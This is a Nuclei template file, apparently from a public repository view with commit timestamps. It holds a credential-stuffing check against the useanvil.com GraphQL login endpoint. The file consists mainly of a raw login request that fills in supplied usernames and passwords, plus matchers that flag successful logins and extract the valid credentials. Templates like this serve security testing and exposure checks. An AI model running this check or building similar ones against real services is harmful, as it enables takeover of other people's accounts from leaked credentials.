nuclei-templates/http/credential-stuffing/cloud/avnil-pdf-generator-check.yaml

43 lines
1.4 KiB
YAML
Raw Normal View History

2023-05-08 17:05:04 +00:00
id: avnil-pdf-generator-check
info:
name: useanvil.com Login Check
2023-06-05 08:54:27 +00:00
author: parthmalhotra,pdresearch
2023-05-08 17:05:04 +00:00
severity: critical
description: Checks for a valid avnil pdf generator account.
reference:
- https://owasp.org/www-community/attacks/Credential_stuffing
metadata:
max-request: 1
2024-01-14 09:21:50 +00:00
tags: cloud,creds-stuffing,login-check,avnil-pdf
2023-05-08 17:05:04 +00:00
self-contained: true
2023-10-14 11:27:55 +00:00
2023-06-05 09:12:22 +00:00
http:
2023-05-08 17:05:04 +00:00
- raw:
2023-06-05 09:25:30 +00:00
- |
2023-05-08 17:05:04 +00:00
POST https://graphql.useanvil.com/ HTTP/1.1
Host: graphql.useanvil.com
Content-Length: 367
Content-Type: application/json
{"operationName":"LoginMutation","variables":{"email":"{{username}}","password":"{{password}}"},"query":"mutation LoginMutation($email: String, $password: String) {\n login(email: $email, password: $password) {\n eid\n firstName\n lastName\n email\n preferences {\n require2FA\n __typename\n }\n extra\n __typename\n }\n}\n"}
extractors:
- type: dsl
dsl:
- username
- password
2023-06-05 08:54:27 +00:00
2023-05-08 17:05:04 +00:00
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"email":"'
- '"eid":"'
2023-06-05 08:54:27 +00:00
2023-05-08 17:05:04 +00:00
- type: status
status:
2023-10-14 11:27:55 +00:00
- 200
# digest: 4a0a0047304502206b4fbc67413049130a87be6c047ed7ae4cb323da4b195608526619668e467272022100986ad99ae0c941bfef37cbd6df9fa30798f45445eaf38a1be2696c142122e7a0:922c64590222798bb761d5b6d8e72950